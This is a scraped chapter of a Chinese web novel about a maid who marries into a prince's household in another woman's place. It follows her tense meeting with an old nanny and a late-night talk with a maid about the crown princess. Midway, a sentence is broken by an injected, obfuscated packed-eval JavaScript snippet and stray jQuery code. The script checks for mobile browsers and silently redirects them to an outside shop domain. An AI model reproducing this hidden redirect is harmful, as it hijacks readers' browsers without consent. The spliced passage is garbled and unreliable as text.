文趣网 > 都市小说 > 替嫁入宫被抢婚 > 10. 第十章
    太子妃来信太突然,段珏又拖到傍晚才想起来和万梨云说,硬是把她愁得睡不着。

    倒不是不想和人打交道,只是段珏提了一嘴,太子妃之父与沈镇山是故交,她生怕自己说错了话,惹起怀疑。

    而且沈镇山仍未到京,形势不明,她孤身一人在此,难免不安。

    不过在她强烈要求下,段珏已将曹嬷嬷和扶桂、听梅两名侍女安置回她身边,顺带将喜儿也交由她使唤。

    烛火昏暗,窗筛竹影。

    万梨云只叫了曹嬷嬷进来伺候,这是入京以来两人第一次单独见面。

    “王妃殿下,奴婢今时今日竟还能有幸伺候您这尊贵人儿!”曹嬷嬷一瞧着她便开口讽道。

    “嬷嬷,我……”万梨云心下一急,却发现任何解释都显得苍白无力。

    “您这新夫婿真是尊贵,二话不说把咱们关在别院,今时今日还是托了您的福,才能赶回来伺候您!”曹嬷嬷知道万梨云的底细,可不像府里其他人那般恭敬。

    “嬷嬷,这不干我的事,是他———”

    “好了好了,我这几日早听说了,”曹嬷嬷不耐烦打断她,“我竟瞧不出你和璟王爷交情颇深,让他舍得冒掉头之罪也要保住你,下一步你是不是就要求他除掉沈王爷了?”

    “我没有!”万梨云知道她一说话就没完没了,连忙提高嗓音,“他什么都不知道!他只知道我是沈大小姐!”

    她又恐被旁人听去,连忙噤声。

    曹嬷嬷自然不信,问道:“他不知道?那他怎会无缘无故就娶了你?定是你私下求情,用狐媚伎俩迷惑了他!”

    “请嬷嬷明鉴,他贵为亲王,若知道我仅一介奴婢,又怎会放弃荣华富贵,为我铤而走险呢!”万梨云急急道。

    曹嬷嬷想了想,觉得颇有道理,盯了万梨云半晌,忽然伸手拧住了她的下巴。

    “看来璟王爷和寻常男子并无不同,不过是见色起意,”曹嬷嬷端详着,冷笑一声,“他定是见惯了莺莺燕燕的美娇娘,却难得一见你这粗鄙的野丫头,一时兴起罢了。”

    万梨云皱起眉头,本就阴冷的神情此时更如鬼魅一般,无端叫人打了个寒颤。

    “你不服?”

    “奴婢不敢。”

    曹嬷嬷把她的下巴甩开,冷冷道:“你倒还记得自己是个奴婢。”

    万梨云强忍下颚的疼痛,道:“太子殿下已召沈王入京,届时我亲自和沈王爷说明其中缘由,还请曹嬷嬷为我作证。”

    曹嬷嬷一愣,旋即长呼一口气,“那便好了,既然沈王爷能亲自来,那便是极好的,你记得管住你的嘴,若沈王爷治了我们失职之罪,我也不会放过你!”

    万梨云低头应允。

    曹嬷嬷见她依旧乖顺,也微微放下心来,道:“我听闻明日太子妃将登门拜访,你务必时刻保持仪态,别出了什么纰漏,也别说什么不该说的话。”

    “奴婢谨记。”

    万梨云低眉顺眼,似乎也不想多话,曹嬷嬷挑着眉毛盯着她看了半晌,实在无话可说,才从怀中掏出一个信封。

    “府里奴婢不能擅自外出,你得闲了,去李家茶水铺里找他家掌柜,把此信交给他,命他走平戎长道。”曹嬷嬷把信塞到她怀中,细细嘱咐。

    “是。”万梨云把信揣入袖中。

    曹嬷嬷又随意拣了几句话讲,而后随便找个由头退出了厢房。

    万梨云合灯躺下,她不习惯别人服侍,故而在睡觉、沐浴和用餐之时皆不许侍女贴身服侍自己,喜儿虽不解,但也只好默默守在外厅。

    内屋只剩她一人,窗外依稀晃荡着树影,外厅传来细小鼾声,不知是哪个侍女不小心睡着了,不过她也从不苛待下人,府上侍女倒是对她无比仰慕。

    她展开信,粗粗看了几眼,无非是讲璟王忤逆圣旨强娶她一事,落款是扶桂,想来她应常常写信回禀沈镇山。

    沈王未入京,知晓此事后定然勃然大怒,重重迁怒于梅雨。

    她思考片刻,重新燃起烛火。

    喜儿很快听到内屋烛芯爆破的声响,轻声询问有何要事。

    万梨云连忙称自己渴了,遣喜儿去拿茶水,趁此间隙,她把信匆匆放入烛火中,宣纸易燃,没过多久便化成了片片纸屑。

    喜儿端着茶杯回来时,不由得抽了抽鼻子,问道:“王妃在烧什么呢?”

    “白日里练的字,太丑了,我瞧着心烦便烧了。”

    喜儿笑道:“奴婢不识字,虽不会瞧,但觉得甚是好看,不过王妃比奴婢这些人有见识多了,自然不可与奴婢这种井底之蛙同语。”

    万梨云看着她,无端想到以前的自己,“你倒是会奉承人。”

    “奴婢分明是实话实说!”她笑吟吟的,也不觉得难堪。

    万梨云接过茶水,小口小口喝着,此茶清醇润喉,甚是甘甜,比从前喝得粗茶不知好了多少。

    “外边是谁在打鼾?”万梨云又问。

    喜儿迟疑片刻,还是道:“是扶桂姑娘,她定然是白日里太累了,还请王妃莫要怪罪。”

    万梨云轻笑,“你是觉得她是我的人,不敢得罪我才这样说罢?我早听说了,她平日好吃懒做,实在该罚。”

    喜儿笑笑,倒也没接话。

    “我睡不着,你陪我聊聊吧,明日要见太子妃,我总紧张得很呢。”万梨云指了指床边的椅子,命她坐下。

    “是。其实王妃倒也不必多心,太子妃最是仁义宽厚,而且她……”喜儿拘谨坐下后,又欲言又止。

    “怎么?”

    “她对奴婢有大恩。”喜儿有些不好意思。

    “大恩?”

    “王妃可知王爷有一贴身侍卫?那侍卫自小跟在王爷身边,深得王爷信任,府中兵权皆在他手中。”喜儿压低声音,神秘兮兮道。

    “闻鹰?”万梨云立刻想起这个令人印象深刻的少年,一身铠甲闯进书房,倒是威风凛凛。

    “是了,”喜儿点点头,“不瞒王妃,他是奴婢的亲弟弟。”

    万梨云讶然点头,又问道:“可是这和太子妃又有何关系?”

    “其实奴婢是昨年才来璟王府的,前几年奴婢一直在端王府中给新出生的小世子当奶娘,后来世子断奶了,端王不愿再让奴婢长居府中,便寻了个由头把奴婢撵了出来。”

    万梨云先是觉得端王凉薄无情,随后又十分意外地望着她,“奶娘?”

    喜儿不好意思笑道:“奴婢今年二十有三,在家中已有三岁的儿子。”

    万梨云十分吃惊,喜儿长着一张俏丽的圆脸,杏眼水汪汪的,身材高挑苗条,打扮也时兴,丝毫不像已经成婚生子的模样。

    “怎么,王妃也觉得咱们生了孩子的女人,应该是面黄腰肥那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684784|207781||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    般么?”喜儿不卑不亢笑着,“可奴婢偏不是,奴婢也不怕王妃笑话,奴婢就乐意把自己打扮得漂漂亮亮的,干活起来有劲,走出去也不失璟王府的脸面。”

    万梨云竟没想到这一层理,但也颇为认同,笑道:“既然如此,你待会把桌上的首饰拣几个自己收着,段珏送的这些金银珠玉我也不稀罕,谁说王妃就要穿金戴银?我也偏喜欢素净样子。”

    “其实奴婢也瞧得出,王爷是真心待王妃好,”喜儿话锋一转,“王妃别怪奴婢在背后议论王爷,可王爷竟敢为了王妃入宫求圣旨,王妃又何苦对他百般嫌弃呢?”

    万梨云脸一僵,自己确实没给过段珏什么好脸色,但喜儿什么都不懂,她也不想过多解释,只好道:“这你别管,咱们聊偏了,你还未说太子妃是如何有恩于你的呢。”

    喜儿闻言也只好笑笑,接着道:“奴婢被撵出去后便回了母家,恰好闻鹰休沐日,奴婢便瞒着王爷上璟王府给他送饭,那时太子携太子妃来府到访,有仆妇当堂告状奴婢私自来府,太子面露不悦,怒斥王爷管束不利。”

    “王府这么大,他也未必能处处管束到呀。”

    喜儿点点头,“正是,王爷脸上挂不住,顶嘴了几句,太子勃然大怒,命人将奴婢与闻鹰一同赶出府。”

    “这太过分了!”万梨云素日不知太子为人,此时第一次知晓此事,不由得有些生气。

    “好在太子妃及时劝阻,把奴婢叫到跟前细细询问缘由,知道奴婢在端王府受了委屈,便让奴婢留在璟王府伺候,闻鹰也可继续做府中的侍卫统领。”

    “原来如此,”万梨云点点头,对这素未谋面的太子妃泛起钦佩,“那想来定是极好的人儿,我先前还恐迟迟不入宫会惹太子殿下生气,没想到太子妃竟为我屈尊亲自到府拜访,真是一片赤心,倒显得我不识时务了。”

    “王妃可别这样想,您初来乍到京城,谨慎些也不为过,而且此事确实是王爷惹的祸……总之王妃莫要多想,该怎样便怎样,咱们璟王府的当家主母如此貌美,可要羡煞旁人了!”喜儿忙道。

    万梨云有些受不住,微微笑了笑。

    喜儿瞧着她的神色,垂眼思忖,有些琢磨不透她的情绪。

    万梨云静时若寒冰,冷冷的也不说话,叫人望而却步,与段珏待在一起时则是另一种样子,完全瞧不出贵族小姐该有的矜贵,倒像野丫头一般粗鄙。

    尤其是那日在书房大吵,喜儿在门外把两人对话听得清清楚楚,尤其是听到万梨云把段珏好一通骂,她已经犹豫着要不要进去劝一劝了。

    后来屋内慢慢静下来,闻鹰又恰好寻来,姐弟俩随意说了会儿话,喜儿便催促他赶紧进去,调和一下气氛。

    后来闻鹰出来的时,又把看到的、听到的细细说了一番,说得喜儿满头雾水。

    总之她似乎有两种面貌,但唯独缺少了某种气质,喜儿也说不清具体是什么,只觉得万梨云没有半点女儿家的自觉,也没有已经嫁了人的自觉。

    而且她私下也忍不住和闻鹰悄悄讨论过,王爷王妃婚事低调,不圆房就罢了,竟还不同住。

    总之她匆匆来到璟王府,又匆匆成了璟王妃,虽贵为王爷独女,但丝毫没有娇纵架子,而且喜静避人,深居简出。

    璟王府沉闷多年,到底是拂来一阵清风了,只是这风并不轻柔,反倒总让人觉得风起云涌。